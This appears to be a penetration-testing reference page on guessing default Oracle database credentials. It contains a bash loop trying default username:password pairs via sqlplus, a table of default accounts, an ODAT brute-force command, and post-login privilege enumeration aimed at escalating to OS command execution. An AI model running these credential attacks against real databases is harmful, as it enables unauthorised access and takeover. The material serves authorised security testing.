Skip to content
HackIndex logo

HackIndex

Oracle Weak Credential Testing

1 min read Mar 31, 2026

Oracle ships with several default accounts that are frequently left enabled with default passwords on older or misconfigured installations. SYS and SYSTEM are the highest-privilege accounts. SCOTT is a legacy sample account with the legendary default password tiger. Confirm a working SID from connectivity checks before testing credentials — ORA-12514 means the connect string is wrong, not the password.

Manual Default Credential Testing

Test the most likely defaults manually before running any tooling:

┌──(kali㉿kali)-[~]
└─$ for cred in sys:sys sys:oracle system:manager system:oracle system:system scott:tiger dbsnmp:dbsnmp dbsnmp:oracle sysman:oem_temp; do
result=$(sqlplus -L "$cred@(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=$TARGET_IP)(PORT=1521))(CONNECT_DATA=(SID=ORCL)))" <<< 'EXIT' 2>&1 | head -2)
if echo "$result" | grep -q 'SQL>\|Connected'; then
echo "VALID: $cred"
else
echo "fail: $cred - $(echo $result | grep -oE 'ORA-[0-9]+')"
fi
done 
fail: sys:sys - ORA-01017
VALID: system:manager
fail: scott:tiger - ORA-01017

Common Default Account Reference

Account

Default password

Privilege level

SYS

change_on_install / oracle

DBA — full OS access possible

SYSTEM

manager / oracle

DBA — near full admin

SCOTT

tiger

Normal user — sample schema

DBSNMP

dbsnmp / oracle

Monitoring — limited

SYSMAN

oem_temp / sysman

OEM management

HR

hr

Sample schema — limited

Automated Password Guessing with ODAT

ODAT's passwordguesser module tests a comprehensive list of default Oracle credentials automatically:

┌──(kali㉿kali)-[~]
└─$ odat passwordguesser -s $TARGET_IP -p 1521 -d ORCL --accounts-file /usr/share/odat/accounts/accounts_multiple.txt 
[+] Valid credentials found: system/manager
[+] Valid credentials found: dbsnmp/dbsnmp
Explain command
passwordguesser ODAT module that performs password guessing against Oracle DB.
-s $TARGET_IP Specifies the target Oracle DB server IP address.
-p 1521 Specifies the target port (default Oracle listener port 1521).
-d ORCL Specifies the Oracle SID/database name to authenticate against.
--accounts-file /usr/share/odat/accounts/accounts_multiple.txt Path to file containing username:password pairs for brute-forcing.

Determine Privilege Level After Login

Immediately check what privileges the authenticated account has:

┌──(kali㉿kali)-[~]
└─$ sqlplus -L "system/manager@(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=$TARGET_IP)(PORT=1521))(CONNECT_DATA=(SID=ORCL)))" <<EOF
SELECT user FROM dual;
SELECT * FROM session_privs;
SELECT * FROM dba_role_privs WHERE grantee=USER;
EXIT;
EOF 
USER
----
SYSTEM

PRIVILEGE
---------------------------
CREATE SESSION
ALTER SESSION
...
EXECUTE ANY PROCEDURE
Explain command
-L Attempt login only once; do not reprompt on failure.
system/manager@(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=$TARGET_IP)(PORT=1521))(CONNECT_DATA=(SID=ORCL))) Connect string: user/pass@TNS descriptor targeting Oracle SID ORCL.
$TARGET_IP Placeholder for the target Oracle database server IP address.

DBA role or EXECUTE ANY PROCEDURE are the key privileges for escalation to OS command execution. Move to SQL execution and file access or OS command execution depending on what privileges are available.

References